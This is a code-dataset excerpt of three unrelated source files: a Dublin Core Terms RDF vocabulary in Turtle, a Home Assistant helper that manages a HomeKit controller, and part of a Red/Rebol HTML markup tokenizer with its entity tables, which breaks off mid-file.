dcterms:W3CDTF
a rdfs:Datatype ;
rdfs:comment "The set of dates and times constructed according to the W3C Date and Time Formats Specification."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "W3C-DTF"@en-us ;
rdfs:seeAlso <http://www.w3.org/TR/NOTE-datetime> .
dcterms:abstract
a rdf:Property ;
rdfs:comment "A summary of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Abstract"@en-us ;
rdfs:subPropertyOf dcterms:description .
dcterms:alternative
a rdf:Property ;
dcterms:description "The distinction between titles and alternative titles is application-specific."@en-us ;
rdfs:comment "An alternative name for the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "alternative title"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:title .
dcterms:available
a rdf:Property ;
rdfs:comment "Date (often a range) that the resource became or will become available."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date available"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:conformsTo
a rdf:Property ;
rdfs:comment "An established standard to which the described resource conforms."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "conforms to"@en-us ;
rdfs:range dcterms:Standard ;
rdfs:subPropertyOf dcterms:relation .
dcterms:contributor
a rdf:Property ;
dcterms:description "Examples of a Contributor include a person, an organization, or a service."@en-us ;
rdfs:comment "An entity responsible for making contributions to the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "contributor"@en-us ;
rdfs:range dcterms:Agent .
dcterms:created
a rdf:Property ;
rdfs:comment "Date of creation of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date created"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:creator
a rdf:Property ;
dcterms:description "Examples of a Creator include a person, an organization, or a service."@en-us ;
rdfs:comment "An entity primarily responsible for making the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "creator"@en-us ;
rdfs:range dcterms:Agent ;
rdfs:subPropertyOf dcterms:contributor ;
owl:equivalentProperty <http://xmlns.com/foaf/0.1/maker> .
dcterms:date
a rdf:Property ;
dcterms:description "Date may be used to express temporal information at any level of granularity. Recommended best practice is to use an encoding scheme, such as the W3CDTF profile of ISO 8601 [W3CDTF]."@en-us ;
rdfs:comment "A point or period of time associated with an event in the lifecycle of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date"@en-us ;
rdfs:range rdfs:Literal .
dcterms:dateAccepted
a rdf:Property ;
dcterms:description "Examples of resources to which a Date Accepted may be relevant are a thesis (accepted by a university department) or an article (accepted by a journal)."@en-us ;
rdfs:comment "Date of acceptance of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date accepted"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:dateCopyrighted
a rdf:Property ;
rdfs:comment "Date of copyright."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date copyrighted"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:dateSubmitted
a rdf:Property ;
dcterms:description "Examples of resources to which a Date Submitted may be relevant are a thesis (submitted to a university department) or an article (submitted to a journal)."@en-us ;
rdfs:comment "Date of submission of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date submitted"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:description
a rdf:Property ;
dcterms:description "Description may include but is not limited to: an abstract, a table of contents, a graphical representation, or a free-text account of the resource."@en-us ;
rdfs:comment "An account of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "description"@en-us .
dcterms:format
a rdf:Property ;
dcterms:description "Examples of dimensions include size and duration. Recommended best practice is to use a controlled vocabulary such as the list of Internet Media Types [MIME]."@en-us ;
rdfs:comment "The file format, physical medium, or dimensions of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "format"@en-us ;
rdfs:range dcterms:MediaTypeOrExtent .
dcterms:hasFormat
a rdf:Property ;
rdfs:comment "A related resource that is substantially the same as the pre-existing described resource, but in another format."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "has format"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:hasPart
a rdf:Property ;
rdfs:comment "A related resource that is included either physically or logically in the described resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "has part"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:hasVersion
a rdf:Property ;
rdfs:comment "A related resource that is a version, edition, or adaptation of the described resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "has version"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:isFormatOf
a rdf:Property ;
rdfs:comment "A related resource that is substantially the same as the described resource, but in another format."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "is format of"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:isPartOf
a rdf:Property ;
rdfs:comment "A related resource in which the described resource is physically or logically included."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "is part of"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:isReferencedBy
a rdf:Property ;
rdfs:comment "A related resource that references, cites, or otherwise points to the described resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "is referenced by"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:isReplacedBy
a rdf:Property ;
rdfs:comment "A related resource that supplants, displaces, or supersedes the described resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "is replaced by"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:isRequiredBy
a rdf:Property ;
rdfs:comment "A related resource that requires the described resource to support its function, delivery, or coherence."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "is required by"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:isVersionOf
a rdf:Property ;
dcterms:description "Changes in version imply substantive changes in content rather than differences in format."@en-us ;
rdfs:comment "A related resource of which the described resource is a version, edition, or adaptation."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "is version of"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:issued
a rdf:Property ;
rdfs:comment "Date of formal issuance (e.g., publication) of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date issued"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:language
a rdf:Property ;
dcterms:description "Recommended best practice is to use a controlled vocabulary such as RFC 4646."@en-us ;
rdfs:comment "A language of the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "language"@en-us ;
rdfs:range dcterms:LinguisticSystem .
dcterms:license
a rdf:Property ;
rdfs:comment "A legal document giving official permission to do something with the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "license"@en-us ;
rdfs:range dcterms:LicenseDocument ;
rdfs:subPropertyOf dcterms:rights .
dcterms:modified
a rdf:Property ;
rdfs:comment "Date on which the resource was changed."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "date modified"@en-us ;
rdfs:range rdfs:Literal ;
rdfs:subPropertyOf dcterms:date .
dcterms:publisher
a rdf:Property ;
dcterms:description "Examples of a Publisher include a person, an organization, or a service."@en-us ;
rdfs:comment "An entity responsible for making the resource available."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "publisher"@en-us ;
rdfs:range dcterms:Agent .
dcterms:references
a rdf:Property ;
rdfs:comment "A related resource that is referenced, cited, or otherwise pointed to by the described resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "references"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:relation
a rdf:Property ;
dcterms:description "Recommended best practice is to identify the related resource by means of a string conforming to a formal identification system. "@en-us ;
rdfs:comment "A related resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "relation"@en-us .
dcterms:replaces
a rdf:Property ;
rdfs:comment "A related resource that is supplanted, displaced, or superseded by the described resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "replaces"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:requires
a rdf:Property ;
rdfs:comment "A related resource that is required by the described resource to support its function, delivery, or coherence."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "requires"@en-us ;
rdfs:subPropertyOf dcterms:relation .
dcterms:rights
a rdf:Property ;
dcterms:description "Typically, rights information includes a statement about various property rights associated with the resource, including intellectual property rights."@en-us ;
rdfs:comment "Information about rights held in and over the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "rights"@en-us ;
rdfs:range dcterms:RightsStatement .
dcterms:rightsHolder
a rdf:Property ;
rdfs:comment "A person or organization owning or managing rights over the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "rights holder"@en-us ;
rdfs:range dcterms:Agent .
dcterms:title
a rdf:Property ;
rdfs:comment "A name given to the resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "title"@en-us ;
rdfs:range rdfs:Literal .
| Turtle | 5 | joshrose/audacity | lib-src/lv2/lv2/schemas.lv2/dct.ttl | [
"CC-BY-3.0"
] |
"""Helper functions for the homekit_controller component."""
from typing import cast
from aiohomekit import Controller
from homeassistant.components import zeroconf
from homeassistant.const import EVENT_HOMEASSISTANT_STOP
from homeassistant.core import Event, HomeAssistant
from .const import CONTROLLER
async def async_get_controller(hass: HomeAssistant) -> Controller:
"""Get or create an aiohomekit Controller instance."""
if existing := hass.data.get(CONTROLLER):
return cast(Controller, existing)
async_zeroconf_instance = await zeroconf.async_get_async_instance(hass)
# In theory another call to async_get_controller could have run while we were
# trying to get the zeroconf instance. So we check again to make sure we
# don't leak a Controller instance here.
if existing := hass.data.get(CONTROLLER):
return cast(Controller, existing)
controller = Controller(async_zeroconf_instance=async_zeroconf_instance)
hass.data[CONTROLLER] = controller
async def _async_stop_homekit_controller(event: Event) -> None:
# Pop first so that in theory another controller /could/ start
# While this one was shutting down
hass.data.pop(CONTROLLER, None)
await controller.async_stop()
# Right now _async_stop_homekit_controller is only called on HA exiting
# So we don't have to worry about leaking a callback here.
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, _async_stop_homekit_controller)
await controller.async_start()
return controller
| Python | 5 | MrDelik/core | homeassistant/components/homekit_controller/utils.py | [
"Apache-2.0"
] |
Red [
Title: "Markup Codec"
]
#macro ['| 'and] func [s e][[| ahead]]
#macro _: func [][none]
#macro length-of: func []['length?]
#macro loop-until: func []['until]
#macro any-value?: func []['value?]
#macro blank!: func []['none!]
#macro blank?: func []['none?]
#macro group!: func []['paren!]
#macro lock: func [][func [val][val]]
#macro unspaced: func []['rejoin]
#macro spaced: func []['reform]
#macro offset-of: func []['offset?]
#macro [quote put: 'func block! block!] func [s e][none]
Rebol [
Title: "Markup Codec"
Author: "Christopher Ross-Gill"
Date: 28-Aug-2017
Home: http://ross-gill.com/page/HTML_and_Rebol
File: %markup.reb
Version: 0.2.1
Purpose: "Markup Loader for Ren-C and Red"
Rights: http://opensource.org/licenses/Apache-2.0
Type: module
Name: rgchris.markup
Exports: [decode-markup html-tokenizer load-markup load-html trees markup-as-block list-elements]
History: [
28-Aug-2017 0.2.1 "Working Adoption Agency algorithm"
21-Aug-2017 0.2.0 "Working Tree Creation (with caveats)"
24-Jul-2017 0.1.0 "Initial Version"
]
]
put: func [map [map!] key value][
if any-string? key [key: lock copy key]
poke map key value
]
; https://github.com/metaeducation/ren-c/issues/322
maps-equal?: func [value1 [map! blank!] value2 [map! blank!]][
if map? value1 [value1: sort/skip body-of value1 2]
if map? value2 [value2: sort/skip body-of value2 2]
equal? value1 value2
]
rgchris.markup: make map! 0
rgchris.markup/increment: func ['word [word!]][
either number? get :word [
also get word set word add get word 1
][
make error! "INCREMENT Expected number argument."
]
]
rgchris.markup/references: make object! [ ; need to update references
codepoints: [
34 "quot" #{22} 38 "amp" #{26} 60 "lt" #{3C} 62 "gt" #{3E} 160 "nbsp" #{C2A0}
161 "iexcl" #{C2A1} 162 "cent" #{C2A2} 163 "pound" #{C2A3} 164 "curren" #{C2A4} 165 "yen" #{C2A5}
166 "brvbar" #{C2A6} 167 "sect" #{C2A7} 168 "uml" #{C2A8} 169 "copy" #{C2A9} 170 "ordf" #{C2AA}
171 "laquo" #{C2AB} 172 "not" #{C2AC} 173 "shy" #{C2AD} 174 "reg" #{C2AE} 175 "macr" #{C2AF}
176 "deg" #{C2B0} 177 "plusmn" #{C2B1} 178 "sup2" #{C2B2} 179 "sup3" #{C2B3} 180 "acute" #{C2B4}
181 "micro" #{C2B5} 182 "para" #{C2B6} 183 "middot" #{C2B7} 184 "cedil" #{C2B8} 185 "sup1" #{C2B9}
186 "ordm" #{C2BA} 187 "raquo" #{C2BB} 188 "frac14" #{C2BC} 189 "frac12" #{C2BD} 190 "frac34" #{C2BE}
191 "iquest" #{C2BF} 192 "Agrave" #{C380} 193 "Aacute" #{C381} 194 "Acirc" #{C382} 195 "Atilde" #{C383}
196 "Auml" #{C384} 197 "Aring" #{C385} 198 "AElig" #{C386} 199 "Ccedil" #{C387} 200 "Egrave" #{C388}
201 "Eacute" #{C389} 202 "Ecirc" #{C38A} 203 "Euml" #{C38B} 204 "Igrave" #{C38C} 205 "Iacute" #{C38D}
206 "Icirc" #{C38E} 207 "Iuml" #{C38F} 208 "ETH" #{C390} 209 "Ntilde" #{C391} 210 "Ograve" #{C392}
211 "Oacute" #{C393} 212 "Ocirc" #{C394} 213 "Otilde" #{C395} 214 "Ouml" #{C396} 215 "times" #{C397}
216 "Oslash" #{C398} 217 "Ugrave" #{C399} 218 "Uacute" #{C39A} 219 "Ucirc" #{C39B} 220 "Uuml" #{C39C}
221 "Yacute" #{C39D} 222 "THORN" #{C39E} 223 "szlig" #{C39F} 224 "agrave" #{C3A0} 225 "aacute" #{C3A1}
226 "acirc" #{C3A2} 227 "atilde" #{C3A3} 228 "auml" #{C3A4} 229 "aring" #{C3A5} 230 "aelig" #{C3A6}
231 "ccedil" #{C3A7} 232 "egrave" #{C3A8} 233 "eacute" #{C3A9} 234 "ecirc" #{C3AA} 235 "euml" #{C3AB}
236 "igrave" #{C3AC} 237 "iacute" #{C3AD} 238 "icirc" #{C3AE} 239 "iuml" #{C3AF} 240 "eth" #{C3B0}
241 "ntilde" #{C3B1} 242 "ograve" #{C3B2} 243 "oacute" #{C3B3} 244 "ocirc" #{C3B4} 245 "otilde" #{C3B5}
246 "ouml" #{C3B6} 247 "divide" #{C3B7} 248 "oslash" #{C3B8} 249 "ugrave" #{C3B9} 250 "uacute" #{C3BA}
251 "ucirc" #{C3BB} 252 "uuml" #{C3BC} 253 "yacute" #{C3BD} 254 "thorn" #{C3BE} 255 "yuml" #{C3BF}
338 "OElig" #{C592} 339 "oelig" #{C593} 352 "Scaron" #{C5A0} 353 "scaron" #{C5A1} 376 "Yuml" #{C5B8}
402 "fnof" #{C692} 710 "circ" #{CB86} 732 "tilde" #{CB9C} 913 "Alpha" #{CE91} 914 "Beta" #{CE92}
915 "Gamma" #{CE93} 916 "Delta" #{CE94} 917 "Epsilon" #{CE95} 918 "Zeta" #{CE96} 919 "Eta" #{CE97}
920 "Theta" #{CE98} 921 "Iota" #{CE99} 922 "Kappa" #{CE9A} 923 "Lambda" #{CE9B} 924 "Mu" #{CE9C}
925 "Nu" #{CE9D} 926 "Xi" #{CE9E} 927 "Omicron" #{CE9F} 928 "Pi" #{CEA0} 929 "Rho" #{CEA1}
931 "Sigma" #{CEA3} 932 "Tau" #{CEA4} 933 "Upsilon" #{CEA5} 934 "Phi" #{CEA6} 935 "Chi" #{CEA7}
936 "Psi" #{CEA8} 937 "Omega" #{CEA9} 945 "alpha" #{CEB1} 946 "beta" #{CEB2} 947 "gamma" #{CEB3}
948 "delta" #{CEB4} 949 "epsilon" #{CEB5} 950 "zeta" #{CEB6} 951 "eta" #{CEB7} 952 "theta" #{CEB8}
953 "iota" #{CEB9} 954 "kappa" #{CEBA} 955 "lambda" #{CEBB} 956 "mu" #{CEBC} 957 "nu" #{CEBD}
958 "xi" #{CEBE} 959 "omicron" #{CEBF} 960 "pi" #{CF80} 961 "rho" #{CF81} 962 "sigmaf" #{CF82}
963 "sigma" #{CF83} 964 "tau" #{CF84} 965 "upsilon" #{CF85} 966 "phi" #{CF86} 967 "chi" #{CF87}
968 "psi" #{CF88} 969 "omega" #{CF89} 977 "thetasym" #{CF91} 978 "upsih" #{CF92} 982 "piv" #{CF96}
8194 "ensp" #{E28082} 8195 "emsp" #{E28083} 8201 "thinsp" #{E28089} 8204 "zwnj" #{E2808C} 8205 "zwj" #{E2808D}
8206 "lrm" #{E2808E} 8207 "rlm" #{E2808F} 8211 "ndash" #{E28093} 8212 "mdash" #{E28094} 8216 "lsquo" #{E28098}
8217 "rsquo" #{E28099} 8218 "sbquo" #{E2809A} 8220 "ldquo" #{E2809C} 8221 "rdquo" #{E2809D} 8222 "bdquo" #{E2809E}
8224 "dagger" #{E280A0} 8225 "Dagger" #{E280A1} 8226 "bull" #{E280A2} 8230 "hellip" #{E280A6} 8240 "permil" #{E280B0}
8242 "prime" #{E280B2} 8243 "Prime" #{E280B3} 8249 "lsaquo" #{E280B9} 8250 "rsaquo" #{E280BA} 8254 "oline" #{E280BE}
8260 "frasl" #{E28184} 8364 "euro" #{E282AC} 8465 "image" #{E28491} 8472 "weierp" #{E28498} 8476 "real" #{E2849C}
8482 "trade" #{E284A2} 8501 "alefsym" #{E284B5} 8592 "larr" #{E28690} 8593 "uarr" #{E28691} 8594 "rarr" #{E28692}
8595 "darr" #{E28693} 8596 "harr" #{E28694} 8629 "crarr" #{E286B5} 8656 "lArr" #{E28790} 8657 "uArr" #{E28791}
8658 "rArr" #{E28792} 8659 "dArr" #{E28793} 8660 "hArr" #{E28794} 8704 "forall" #{E28880} 8706 "part" #{E28882}
8707 "exist" #{E28883} 8709 "empty" #{E28885} 8711 "nabla" #{E28887} 8712 "isin" #{E28888} 8713 "notin" #{E28889}
8715 "ni" #{E2888B} 8719 "prod" #{E2888F} 8721 "sum" #{E28891} 8722 "minus" #{E28892} 8727 "lowast" #{E28897}
8730 "radic" #{E2889A} 8733 "prop" #{E2889D} 8734 "infin" #{E2889E} 8736 "ang" #{E288A0} 8743 "and" #{E288A7}
8744 "or" #{E288A8} 8745 "cap" #{E288A9} 8746 "cup" #{E288AA} 8747 "int" #{E288AB} 8756 "there4" #{E288B4}
8764 "sim" #{E288BC} 8773 "cong" #{E28985} 8776 "asymp" #{E28988} 8800 "ne" #{E289A0} 8801 "equiv" #{E289A1}
8804 "le" #{E289A4} 8805 "ge" #{E289A5} 8834 "sub" #{E28A82} 8835 "sup" #{E28A83} 8836 "nsub" #{E28A84}
8838 "sube" #{E28A86} 8839 "supe" #{E28A87} 8853 "oplus" #{E28A95} 8855 "otimes" #{E28A97} 8869 "perp" #{E28AA5}
8901 "sdot" #{E28B85} 8968 "lceil" #{E28C88} 8969 "rceil" #{E28C89} 8970 "lfloor" #{E28C8A} 8971 "rfloor" #{E28C8B}
9001 "lang" #{E28CA9} 9002 "rang" #{E28CAA} 9674 "loz" #{E2978A} 9824 "spades" #{E299A0} 9827 "clubs" #{E299A3}
9829 "hearts" #{E299A5} 9830 "diams" #{E299A6}
]
replacements: make map! [
0 65533
128 8364
130 8218
131 402
132 8222
133 8230
134 8224
135 8225
136 710
137 8240
138 352
139 8249
140 338
142 381
145 8216
146 8217
147 8220
148 8221
149 8226
150 8211
151 8212
152 732
153 8482
154 353
155 8250
156 339
158 382
159 376
]
elements: make map! lock [
"a" a "abbr" abbr "address" address "applet" applet "area" area "article" article
"aside" aside "b" b "base" base "basefont" basefont "bgsound" bgsound
"big" big "blockquote" blockquote "body" body "br" br "button" button
"caption" caption "center" center "code" code "col" col "colgroup" colgroup
"dd" dd "details" details "dialog" dialog "dir" dir "div" div
"dl" dl "dt" dt "em" em "embed" embed "fieldset" fieldset
"figcaption" figcaption "figure" figure "font" font "footer" footer "form" form
"frame" frame "frameset" frameset "h1" h1 "h2" h2 "h3" h3
"h4" h4 "h5" h5 "h6" h6 "head" head "header" header
"hgroup" hgroup "hr" hr "html" html "i" i "iframe" iframe "image" image
"img" img "input" input "isindex" isindex "keygen" keygen "label" label
"li" li "link" link "listing" listing "main" main "marquee" marquee
"math" math "meta" meta "nav" nav "nobr" nobr "noembed" noembed
"noframes" noframes "noscript" noscript "object" object "ol" ol "optgroup" optgroup
"option" option "p" p "param" param "plaintext" plaintext "pre" pre
"rb" rb "rp" rp "rtc" rtc "ruby" ruby "s" s
"script" script "section" section "select" select "small" small "source" source
"span" span "strike" strike "strong" strong "style" style "sub" sub
"summary" summary "sup" sup "svg" svg "table" table "tbody" tbody
"td" td "template" template "textarea" textarea "tfoot" tfoot "th" th
"thead" thead "time" time "title" title "tr" tr "track" track "tt" tt
"u" u "ul" ul "var" var "wbr" wbr "xmp" xmp
; SVG
"altglyph" altGlyph "altglyphdef" altGlyphDef
"altglyphitem" altGlyphItem "animatecolor" animateColor
"animatemotion" animateMotion "animatetransform" animateTransform
"clippath" clipPath "feblend" feBlend
"fecolormatrix" feColorMatrix "fecomponenttransfer" feComponentTransfer
"fecomposite" feComposite "feconvolvematrix" feConvolveMatrix
"fediffuselighting" feDiffuseLighting "fedisplacementmap" feDisplacementMap
"fedistantlight" feDistantLight "fedropshadow" feDropShadow
"feflood" feFlood "fefunca" feFuncA
"fefuncb" feFuncB "fefuncg" feFuncG
"fefuncr" feFuncR "fegaussianblur" feGaussianBlur
"feimage" feImage "femerge" feMerge
"femergenode" feMergeNode "femorphology" feMorphology
"feoffset" feOffset "fepointlight" fePointLight
"fespecularlighting" feSpecularLighting "fespotlight" feSpotLight
"fetile" feTile "feturbulence" feTurbulence
"foreignobject" foreignObject "glyphref" glyphRef
"lineargradient" linearGradient "radialgradient" radialGradient
"textpath" textPath
]
tags: make map! 0
end-tags: make map! 0
element: _
foreach element words-of elements [
put tags elements/:element to tag! elements/:element
put end-tags elements/:element rejoin [</> elements/:element]
]
]
rgchris.markup/word: [ ; reserved for future use
w1: charset [
"ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
#"^(C0)" - #"^(D6)" #"^(D8)" - #"^(F6)" #"^(F8)" - #"^(02FF)"
#"^(0370)" - #"^(037D)" #"^(037F)" - #"^(1FFF)" #"^(200C)" - #"^(200D)"
#"^(2070)" - #"^(218F)" #"^(2C00)" - #"^(2FEF)" #"^(3001)" - #"^(D7FF)"
#"^(f900)" - #"^(FDCF)" #"^(FDF0)" - #"^(FFFD)"
]
w+: charset [
"-.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
#"^(B7)" #"^(C0)" - #"^(D6)" #"^(D8)" - #"^(F6)" #"^(F8)" - #"^(037D)"
#"^(037F)" - #"^(1FFF)" #"^(200C)" - #"^(200D)" #"^(203F)" - #"^(2040)"
#"^(2070)" - #"^(218F)" #"^(2C00)" - #"^(2FEF)" #"^(3001)" - #"^(D7FF)"
#"^(f900)" - #"^(FDCF)" #"^(FDF0)" - #"^(FFFD)"
]
word: [w1 any w+]
]
rgchris.markup/decode: make object! [
digit: charset "0123456789"
hex-digit: charset "0123456789abcdefABCDEF"
specials: charset [#"0" - #"9" #"=" #"a" - #"z" #"A" - #"Z"]
prohibited: charset collect [
keep [0 - 8 11 13 - 31 127 - 159 55296 - 57343 64976 - 65007]
if char? attempt [to char! 65536][
keep [
65534 65535 131070 131071 196606 196607
262142 262143 327678 327679 393214 393215
458750 458751 524286 524287 589822 589823
655358 655359 720894 720895 786430 786431
851966 851967 917502 917503 983038 983039
1048574 1048575 1114110 1114111
]
]
]
resolve: func [char [integer!]][
any [
select rgchris.markup/references/replacements char
if find prohibited char [65533]
char
]
]
codepoint: name: character: _
codepoints: make map! 0
names: remove sort/skip/compare/reverse collect [
foreach [codepoint name character] rgchris.markup/references/codepoints [
put codepoints name to string! character
keep '|
keep name
put codepoints name: rejoin [name ";"] to string! character
keep '|
keep name
]
] 2 2
get-hex: func [hex [string!]][
insert/dup hex #"0" 8 - length-of hex
to integer! debase/base hex 16
]
decode-markup: func [position [string!] /attribute /local char mark response][
; [char exit unresolvable no-terminus
also response: reduce [_ position false false false]
parse/case position [
#"#" [
[#"x" | #"X"] [any #"0" copy char some hex-digit | some "0" (char: "00")] (
either 7 > length-of char [char: get-hex char][
response/3: 'could-not-resolve
char: 65533
]
)
|
[any #"0" copy char some digit | some #"0" (char: "0")] (
either 8 > length-of char [char: to integer! char][
response/3: 'could-not-resolve
char: 65533
]
)
]
mark: [#";" mark: | (response/4: 'no-semicolon)]
(
unless equal? char char: resolve char [response/3: 'could-not-resolve]
response/1: any [attempt [to char! char] to char! 65533]
response/2: :mark
)
|
copy char names mark: (
unless #";" = last char [response/4: 'no-semicolon]
either all [response/4 attribute find specials mark/1][
response/4: _
response/5: 'no-semicolon-in-attribute
][
response/1: select codepoints char
response/2: mark
]
)
]
]
]
decode-markup: get in rgchris.markup/decode 'decode-markup
rgchris.markup/html-tokenizer: make object! [
; 8.2.4 Tokenization https://www.w3.org/TR/html5/syntax.html#tokenization
series: mark: buffer: attribute: token: last-token: character: closer: additional-character: _
is-paused: is-done: false
b: [#"b" | #"B"]
c: [#"c" | #"C"]
d: [#"d" | #"D"]
e: [#"e" | #"E"]
i: [#"i" | #"I"]
l: [#"l" | #"L"]
m: [#"m" | #"M"]
o: [#"o" | #"O"]
p: [#"p" | #"P"]
s: [#"s" | #"S"]
t: [#"t" | #"T"]
u: [#"u" | #"U"]
y: [#"y" | #"Y"]
space: charset "^-^/^M "
upper-alpha: charset "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
lower-alpha: charset "abcdefghijklmnopqrstuvwxyz"
alpha: union upper-alpha lower-alpha
digit: charset "0123456789"
alphanum: union alpha digit
hex-digit: charset "0123456789abcdefABCDEF"
non-markup: complement charset "^@^-^/^M&< "
non-rcdata: complement charset "^@&<"
non-script: complement charset "^@<"
not-null: complement charset "^@"
; word: get in rgchris.markup/word 'word
error: [(report 'parse-error)]
null-error: [#"^@" (report 'unexpected-null-character)]
unknown: to string! #{EFBFBD}
timely-end: [end (is-done: true emit [end]) fail]
untimely-end: [end (report 'untimely-end use data)]
emit-one: [mark: skip (emit mark/1)]
states: [
data: [
space (emit series/1)
| copy mark [some non-markup any [some space some non-markup]] (emit mark)
| #"&" (use character-reference-in-data)
| #"<" (use tag-open)
| null-error ; (emit unknown)
| timely-end
]
character-reference-in-data: [
(use data)
end
|
and [space | #"&" | #"<"]
|
mark: (
character: decode-markup mark
mark: character/2
either character/1 [
emit character/1
][
emit "&"
]
) :mark
]
rcdata: [
copy mark [some non-rcdata] (emit mark)
| #"&" (use character-reference-in-rcdata)
| #"<" (use rcdata-less-than-sign)
| null-error (emit unknown)
| timely-end
]
character-reference-in-rcdata: [
(use rcdata)
end
|
and [space | #"<" | #"&"]
|
(
character: decode-markup series
mark: character/2
either character/1 [
emit character/1
][
emit "&"
]
) :mark
]
rawtext: [
copy mark some non-script (emit mark)
| #"<" (use rawtext-less-than-sign)
| null-error (emit unknown)
| emit-one
| timely-end
]
script-data: [
copy mark some non-script (emit mark)
| #"<" (use script-data-less-than-sign)
| null-error (emit unknown)
| timely-end
]
plaintext: [
copy mark some not-null (emit mark)
| null-error (emit unknown)
| timely-end
]
tag-open: [
#"!" (
use markup-declaration-open
)
|
#"/" (
use end-tag-open
)
|
copy mark [alpha any alphanum] (
use tag-name
token: reduce ['tag lowercase mark _ _]
)
|
and "?" (
use bogus-comment
report 'unexpected-question-mark-instead-of-tag-name
)
|
end (
use data
report 'eof-before-tag-name position
)
|
(
use data
report 'invalid-first-character-of-tag-name
emit "<"
)
]
end-tag-open: [
copy mark some alpha (
use tag-name
token: reduce ['end-tag lowercase mark _ _]
)
|
#">" (
use data
report 'missing-end-tag-name
)
|
end (
use data
report 'eof-before-tag-name
emit "</"
)
|
(
use bogus-comment
report 'invalid-first-character-of-tag-name
)
]
tag-name: [
some space (
adjust token
use before-attribute-name
)
|
#"/" (
adjust token
use self-closing-start-tag
)
|
#">" (
adjust token
use data
emit also token token: _
)
|
copy mark some alpha (
append token/2 lowercase mark
)
|
null-error (
append token/2 unknown
)
|
end (
use data
report 'eof-in-tag
)
|
skip (
append token/2 series/1
)
]
rcdata-less-than-sign: [
#"/" (
use rcdata-end-tag-open
buffer: make string! 0
)
|
(
use rcdata
emit "<"
)
]
rcdata-end-tag-open: [
copy mark some alpha (
use rcdata-end-tag-name
append buffer mark
token: reduce ['end-tag lowercase mark _ _]
)
|
(
use rcdata
emit "</"
buffer: _
)
]
rcdata-end-tag-name: [
mark:
[space | #"/" | #">"] (
either all [
token/1 = 'end-tag
token/2 = closer
][
closer: _
switch series/1 [
#"^-" #"^/" #"^M" #" " [
use before-attribute-name
mark: next series
]
#"/" [
use self-closing-start-tag
mark: next series
]
#">" [
use data
mark: next series
token/2: to word! token/2
emit also token token: buffer: _
]
]
][
use rcdata
emit "</"
emit also buffer token: buffer: _
]
) :mark
|
copy mark some alpha (
append buffer mark
append token/2 lowercase mark
)
|
(
use rcdata
emit "</"
emit also buffer token: buffer: _
)
]
rawtext-less-than-sign: [
#"/" (
use rawtext-end-tag-open
buffer: make string! 0
)
|
(
use rawtext
emit "<"
)
]
rawtext-end-tag-open: [
copy mark some alpha (
use rawtext-end-tag-name
append buffer mark
token: reduce ['end-tag lowercase mark _ _]
)
|
(
use rawtext
emit "</"
